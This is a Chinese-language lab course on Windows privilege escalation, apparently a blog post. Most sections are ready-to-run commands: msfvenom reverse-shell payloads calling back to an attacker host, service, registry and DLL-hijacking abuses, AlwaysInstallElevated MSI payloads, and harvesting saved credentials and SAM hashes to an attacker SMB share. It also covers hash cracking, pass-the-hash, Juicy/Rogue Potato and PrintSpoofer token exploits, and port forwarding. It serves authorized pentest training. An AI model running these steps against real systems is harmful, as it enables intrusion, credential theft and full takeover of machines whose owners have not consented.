Windows 权限提升技术详解

目录

  1. 课程概述与环境搭建

  2. [Windows 权限基础](#Windows 权限基础)

  3. [生成管理员 Shell](#生成管理员 Shell)

  4. 权限提升工具

  5. 内核漏洞利用

  6. 服务漏洞利用

  7. 注册表利用

  8. 密码与凭据

  9. 计划任务与启动项

  10. [Potato 系列漏洞利用](#Potato 系列漏洞利用)

  11. 端口转发

  12. [GetSystem 原理](#GetSystem 原理)

  13. 用户权限滥用

  14. 权限提升策略总结


一、课程概述与环境搭建

1.1 课程目标

本课程重点介绍 Windows 中的权限提升技术,你将学到:

  • Windows 中基本用户权限的工作原理

  • 多种提升用户权限的方法

  • 这些方法为何有效以及如何运作

  • 可用于识别潜在提升路径的工具

1.2 实验环境

Windows 10 虚拟机

  • 用户名:IEUser,密码:Passw0rd!

  • 安装完成后启用 SMBv1:

复制代码
Enable-WindowsOptionalFeature -Online -FeatureName "SMB1Protocol-Client" -All

Kali SMB 服务器

复制代码
# Python3
python3 /usr/share/doc/python3-impacket/examples/smbserver.py tools .

# Python2
python /usr/share/doc/python-impacket/examples/smbserver.py tools

设置脚本

运行 setup.bat 后重启,使用 admin 账户自动登录,或手动以 user / password321 登录。存在可写目录 C:\PrivEsc 供复制工具。


二、Windows 权限基础

2.1 通用概念

权限提升的最终目标是获得以 AdministratorSYSTEM 身份运行的 shell。

所有权限提升本质上都是访问控制违规的示例。

2.2 用户账户类型

类型 说明
用户账户 用于登录系统,绑定唯一身份的一组设置/偏好
服务账户 用于运行服务,不能登录系统。SYSTEM 是默认服务账户,拥有最高权限
用户可属于多个组,组可包含多个用户,方便进行访问控制

2.3 资源与 ACL

Windows 中的资源(对象)包括:

  • 文件/目录

  • 注册表项

  • 服务

ACL(访问控制列表) 由多个 ACE(访问控制项) 组成,每个 ACE 定义了主体(用户/组)与特定访问权限之间的关系。


三、生成管理员 Shell

3.1 使用 msfvenom

复制代码
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.11 LPORT=53 -f exe -o reverse.exe

使用 netcat 或 Metasploit 的 multi/handler 接收反向 shell。

3.2 使用 RDP

如果 RDP 可用,将低权限用户加入 administrators 组:

复制代码
net localgroup administrators <username> /add

3.3 Admin → SYSTEM

使用 Sysinternals 的 PsExec:

复制代码
.\PsExec64.exe -accepteula -i -s C:\PrivEsc\reverse.exe

四、权限提升工具

4.1 PowerUp

复制代码
# 加载脚本
. .\PowerUp.ps1

# 运行所有检查
Invoke-AllChecks

4.2 SharpUp

复制代码
.\SharpUp.exe

4.3 Seatbelt

复制代码
# 运行所有检查
.\Seatbelt.exe all

# 运行特定检查
.\Seatbelt.exe <check>

4.4 winPEAS

复制代码
# 添加注册表项启用颜色输出
reg add HKCU\Console /v VirtualTerminalLevel /t REG_DWORD /d 1

# 运行所有检查(快速模式)
.\winPEASany.exe quiet cmd fast

# 运行特定类别
.\winPEASany.exe quiet cmd systeminfo

4.5 AccessChk

复制代码
# 检查用户访问控制权限(旧版本支持 /accepteula)
.\accesschk.exe /accepteula -uwcqv user <servicename>

五、内核漏洞利用

5.1 基本原理

内核是操作系统核心,完全控制系统。利用内核漏洞可导致以 SYSTEM 执行代码。

5.2 利用步骤

  1. 枚举 Windows 版本/补丁级别:systeminfo

  2. 查找匹配的漏洞利用(Google、ExploitDB、GitHub)

  3. 编译并运行

⚠️ 注意:内核漏洞利用通常不稳定,可能导致系统崩溃。

5.3 相关工具

工具 链接
Windows Exploit Suggester https://github.com/bitsadmin/wesng
预编译内核漏洞利用 https://github.com/SecWiki/windows-kernel-exploits
Watson 用于漏洞检测

5.4 实战示例(Windows 7)

复制代码
# 1. 提取 systeminfo 输出
systeminfo > systeminfo.txt

# 2. 使用 wesng 查找漏洞
python wes.py systeminfo.txt -i 'Elevation of Privilege' --exploits-only | less

# 3. 下载并运行漏洞利用(以 CVE-2018-8120 为例)
# 在 Kali 启动监听器后运行:
CVE-2018-8120-x64.exe

六、服务漏洞利用

6.1 服务相关命令

复制代码
# 查询服务配置
sc.exe qc <name>

# 查询服务状态
sc.exe query <name>

# 修改服务配置
sc.exe config <name> <option>=<value>

# 启动/停止服务
net start/stop <name>

6.2 不安全的服务权限

如果用户有权限更改以 SYSTEM 运行的服务配置,可将服务可执行文件替换为自己的。

实战步骤:

复制代码
# 1. 检查服务错误配置
.\winPEASany.exe quiet servicesinfo

# 2. 使用 accesschk 确认权限
.\accesschk.exe /accepteula -uwcqv user daclsvc

# 3. 检查服务当前配置
sc qc daclsvc

# 4. 检查服务状态
sc query daclsvc

# 5. 重新配置服务
sc config daclsvc binpath= "C:\PrivEsc\reverse.exe"

# 6. 启动服务触发漏洞
net start daclsvc

6.3 未加引号的服务路径

当服务路径包含空格且未加引号时,Windows 会按顺序解析可执行文件。

示例:

路径 C:\Program Files\Unquoted Path Service\Common Files\service.exe

Windows 会依次尝试:

  1. C:\Program.exe

  2. C:\Program Files\Unquoted.exe

  3. C:\Program Files\Unquoted Path\service.exe

实战步骤:

复制代码
# 1. 检查未加引号路径
.\winPEASany.exe quiet servicesinfo
sc qc unquotedsvc

# 2. 检查写入权限
.\accesschk.exe /accepteula -uwdq C:\
.\accesschk.exe /accepteula -uwdq "C:\Program Files\"
.\accesschk.exe /accepteula -uwdq "C:\Program Files\Unquoted Path Service\"

# 3. 复制反向 shell 并适当重命名
copy C:\PrivEsc\reverse.exe "C:\Program Files\Unquoted Path Service\Common.exe"

# 4. 启动服务
net start unquotedsvc

6.4 弱注册表权限

注册表项的 ACL 配置错误时,即使无法直接修改服务,也可能通过修改注册表来更改服务配置。

实战步骤:

复制代码
# 1. 检查弱注册表权限
.\winPEASany.exe quiet servicesinfo

# 2. 使用 PowerShell 确认
Get-Acl HKLM:\System\CurrentControlSet\Services\regsvc | Format-List

# 或 accesschk
.\accesschk.exe /accepteula -uvwqk HKLM\System\CurrentControlSet\Services\regsvc

# 3. 覆盖 ImagePath
reg add HKLM\SYSTEM\CurrentControlSet\services\regsvc /v ImagePath /t REG_EXPAND_SZ /d C:\PrivEsc\reverse.exe /f

# 4. 启动服务
net start regsvc

6.5 不安全的服务可执行文件

如果服务可执行文件可被修改,直接替换即可。

复制代码
# 1. 检查文件权限
.\accesschk.exe /accepteula -quvw "C:\Program Files\File Permissions Service\filepermservice.exe"

# 2. 备份原文件
copy "C:\Program Files\File Permissions Service\filepermservice.exe" C:\Temp

# 3. 替换为反向 shell
copy /Y C:\PrivEsc\reverse.exe "C:\Program Files\File Permissions Service\filepermservice.exe"

# 4. 启动服务
net start filepermsvc

6.6 DLL 劫持

服务加载 DLL 时,如果搜索路径中的某个目录可写,可以放置恶意 DLL。

实战步骤:

复制代码
# 1. 枚举非 Windows 服务
.\winPEASany.exe quiet servicesinfo

# 2. 检查启动/停止权限
.\accesschk.exe /accepteula -uvqc user dllsvc

# 3. 使用 Procmon 分析缺失的 DLL
# - 以管理员运行 Procmon64.exe
# - Ctrl+L 打开过滤器,添加进程名 dllhijackservice.exe
# - 取消选择注册表和网络活动
# - 启动服务:net start dllsvc
# - 观察 NAME NOT FOUND 的 DLL 路径

# 4. 生成恶意 DLL
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.11 LPORT=53 -f dll -o hijackme.dll

# 5. 放入可写目录,重启服务
net stop dllsvc
net start dllsvc

七、注册表利用

7.1 自动运行程序

Windows 启动时以提升权限运行的命令,配置在注册表中。

复制代码
# 枚举自动运行
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

# 检查可写权限
.\accesschk.exe /accepteula -wvu "C:\Program Files\Autorun Program\program.exe"

利用步骤:

复制代码
# 1. 备份原文件
copy "C:\Program Files\Autorun Program\program.exe" C:\Temp

# 2. 替换为反向 shell
copy /Y C:\PrivEsc\reverse.exe "C:\Program Files\Autorun Program\program.exe"

# 3. 重启系统触发(Windows 10 上以最后登录用户权限运行)

7.2 AlwaysInstallElevated

MSI 安装程序可以以提升权限运行。需要两个注册表值同时启用:

  • 本机:HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer

  • 当前用户:HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer

复制代码
# 检查注册表值
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

# 生成 MSI 反向 shell
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.11 LPORT=53 -f msi -o reverse.msi

# 执行
msiexec /quiet /qn /i reverse.msi

八、密码与凭据

8.1 注册表中搜索密码

复制代码
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s

8.2 保存的凭据

复制代码
# 查看保存的凭据
cmdkey /list

# 使用保存凭据运行命令
runas /savecred /user:admin C:\PrivEsc\reverse.exe

8.3 配置文件

复制代码
# 搜索包含密码的文件
dir /s *pass* ==
findstr /si password *.xml *.ini *.txt

Unattend.xml 示例:

找到 Base64 编码的密码:cGFzc3dvcmQxMjM=

复制代码
echo "cGFzc3dvcmQxMjM=" | base64 -d
# 输出: password123

8.4 SAM 文件提取哈希

SAM 和 SYSTEM 文件位于 C:\Windows\System32\config,备份可能在 C:\Windows\RepairC:\Windows\System32\config\RegBack

复制代码
# 复制文件到 Kali
copy C:\Windows\Repair\SAM \\192.168.1.11\tools\
copy C:\Windows\Repair\SYSTEM \\192.168.1.11\tools\
复制代码
# 提取哈希
git clone https://github.com/Neohapsis/creddump7.git
python2 creddump7/pwdump.py SYSTEM SAM

# 破解哈希
hashcat -m 1000 --force a9fdfa038c4b75ebc76dc855dd74f0da

8.5 传递哈希(Pass-the-Hash)

复制代码
# 使用哈希生成命令提示符
pth-winexe -U 'admin%aad3b435b51404eeaad3b435b51404ee:a9fdfa038c4b75ebc76dc855dd74f0da' //192.168.1.22 cmd

# SYSTEM 级别
pth-winexe --system -U 'admin%aad3b435b51404eeaad3b435b51404ee:a9fdfa038c4b75ebc76dc855dd74f0da' //192.168.1.22 cmd

九、计划任务与启动项

9.1 计划任务

复制代码
# 列出所有计划任务
schtasks /query /fo LIST /v

# PowerShell
Get-ScheduledTask | where {$_.TaskPath -notlike "\Microsoft*"} | ft TaskName,TaskPath,State

实战示例:

发现 C:\DevTools\CleanUp.ps1 每分钟以 SYSTEM 运行,且当前用户可写:

复制代码
# 1. 备份脚本
copy C:\DevTools\CleanUp.ps1 C:\Temp\

# 2. 追加反向 shell 调用
echo C:\PrivEsc\reverse.exe >> C:\DevTools\CleanUp.ps1

# 3. 等待计划任务运行(约1分钟)

9.2 不安全的 GUI 应用程序

某些 Windows 版本允许用户以管理员权限运行 GUI 应用程序,可通过应用内部功能生成命令提示符。

画图示例:

  1. user 登录,打开 AdminPaint

  2. 确认 mspaint.exe 以管理员运行:tasklist /V | findstr mspaint

  3. 在画图中点击 文件 → 打开

  4. 在导航栏输入:file://c:/windows/system32/cmd.exe

  5. 回车,获得管理员命令提示符

9.3 启动应用程序

所有用户的启动目录:

复制代码
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp

创建快捷方式脚本(CreateShortcut.vbs):

复制代码
Set oWS = WScript.CreateObject("WScript.Shell")
sLinkFile = "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\reverse.lnk"
Set oLink = oWS.CreateShortcut(sLinkFile)
oLink.TargetPath = "C:\PrivEsc\reverse.exe"
oLink.Save
复制代码
# 检查启动目录权限
.\accesschk.exe /accepteula -d "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp"

# 运行脚本创建快捷方式
cscript CreateShortcut.vbs

十、Potato 系列漏洞利用

10.1 Hot Potato

利用欺骗攻击和 NTLM 中继获取 SYSTEM 权限,适用于 Windows 7、8、早期 Windows 10。

复制代码
.\potato.exe -ip 192.168.1.33 -cmd "C:\PrivEsc\reverse.exe" -enable_httpserver true -enable_defender true -enable_spoof true -enable_exhaust true

10.2 令牌模拟基础

服务账户通常配置有:

  • SeImpersonatePrivilege

  • SeAssignPrimaryTokenPrivilege

允许模拟其他用户(包括 SYSTEM)的访问令牌。

10.3 Juicy Potato

复制代码
# 1. 使用 PSExec 触发 Local Service 反向 shell
C:\PrivEsc\PSExec64.exe -i -u "nt authority\local service" C:\PrivEsc\reverse.exe

# 2. 运行 JuicyPotato 获取 SYSTEM
C:\PrivEsc\JuicyPotato.exe -l 1337 -p C:\PrivEsc\reverse.exe -t * -c {03ca98d6-ff5d-49b8-abc6-03dd84127020}

CLSID 列表:https://github.com/ohpe/juicy-potato/blob/master/CLSID/README.md

10.4 Rogue Potato

复制代码
# Kali 上设置 socat 重定向器
sudo socat tcp-listen:135,reuseaddr,fork tcp:192.168.1.22:9999
复制代码
# 触发 Local Service shell 后运行
C:\PrivEsc\RoguePotato.exe -r 192.168.1.11 -l 9999 -e C:\PrivEsc\reverse.exe

10.5 PrintSpoofer

复制代码
# 触发 Local Service shell 后运行
C:\PrivEsc\PrintSpoofer.exe -i -c C:\PrivEsc\reverse.exe

十一、端口转发

使用 plink.exe(PuTTY 套件)将 Kali 端口转发到 Windows 内部端口。

复制代码
plink.exe <user>@<kali> -R <kaliport>:<target-IP>:<target-port>

实战示例:

复制代码
# 1. 将 Kali 445 端口转发到 Windows 本地 445
plink.exe root@192.168.1.11 -R 445:127.0.0.1:445

# 2. Kali 上通过 localhost 连接
winexe -U 'admin%password123' //localhost cmd

十二、GetSystem 原理

Metasploit Meterpreter 的 getsystem 命令使用三种技术:

12.1 命名管道模拟(内存中/管理员)

  1. 创建 Meterpreter 控制的命名管道

  2. 创建以 SYSTEM 运行的服务,该服务与命名管道交互

  3. Meterpreter 模拟连接进程,获取 SYSTEM 模拟令牌

  4. 令牌分配给后续 Meterpreter 线程

12.2 命名管道模拟(投放器/管理员)

与上类似,但将 DLL 写入磁盘并创建服务运行该 DLL。

12.3 令牌复制(内存中/管理员)

需要 SeDebugPrivilege,找到 SYSTEM 服务并注入 DLL 复制其访问令牌。目前仅支持 x86。

getsystem 设计用于本地管理员 → SYSTEM,不应视为普通用户 → 管理员的提权方法。


十三、用户权限滥用

13.1 查看当前权限

复制代码
whoami /priv

13.2 关键权限

权限 说明
SeImpersonatePrivilege 模拟任何访问令牌,可被 Juicy Potato 利用
SeAssignPrimaryPrivilege 将访问令牌分配给新进程
SeBackupPrivilege 绕过 ACL 读取所有对象,可提取注册表哈希
SeRestorePrivilege 绕过 ACL 写入所有对象,可修改服务/DLL/注册表
SeTakeOwnershipPrivilege 取得对象所有权,进而修改 ACL
SeDebugPrivilege 调试进程,getsystem 的令牌复制技术使用
SeLoadDriverPrivilege 加载驱动程序
SeCreateTokenPrivilege 创建令牌
SeTcbPrivilege 作为操作系统的一部分运行

十四、权限提升策略总结

14.1 枚举 checklist

  1. 检查用户和组:whoaminet user <username>

  2. 运行 winPEAS:winPEASany.exe quiet cmd fast

  3. 运行 Seatbelt 和其他脚本

  4. 如果脚本失败,使用手动命令或在线备忘单

14.2 利用策略

  1. 先尝试简单方法:注册表漏洞、服务错误配置等

  2. 查看管理员进程:枚举版本,搜索漏洞利用

  3. 检查内部端口:能否转发到攻击机器

  4. 重新阅读枚举输出:高亮任何异常(陌生进程、文件名、用户名)

  5. 最后考虑内核漏洞利用

14.3 注意事项

  • 始终理解工具在做什么

  • 创建备份后再修改系统文件

  • 权限提升往往复杂,可能需要结合多种错误配置

  • 在有考试等时间限制的环境中,自动化工具是无价之宝


免责声明:本文仅供安全研究和授权渗透测试使用,请勿用于非法用途。

相关推荐
荔枝吻1 小时前
【保姆级喂饭教程】 Windows下WSL2+Docker+Qdrant安装教程
windows·docker·wsl2·qdrant
fengjianhua12251 小时前
C盘清理工具哪个操作最简单?
windows
平常心的技术小牛1 小时前
Qt-快速上手-QFileDialog
windows·qt·microsoft
请你吃div1 小时前
Electron 从零开始的新手开发教程
vue.js·windows·electron
影寂ldy2 小时前
C# WinForm TCP聊天室(服务端+客户端)
windows·tcp/ip·c#
多弗朗皮卡丘2 小时前
C语言梦开始的地方16:结构体
c语言·开发语言·windows
polarislove02142 小时前
Windows安全中心网络盘打开文件提示“打开这些文件可能会对你的计算机有害”的解决方法
网络·windows·安全
YakProject3 小时前
如何让 AI Agent 跑得更快???
人工智能·测试工具·网络安全·agent·yakit·yaklang
李少兄3 小时前
Windows 系统 Hosts 文件完全指南
windows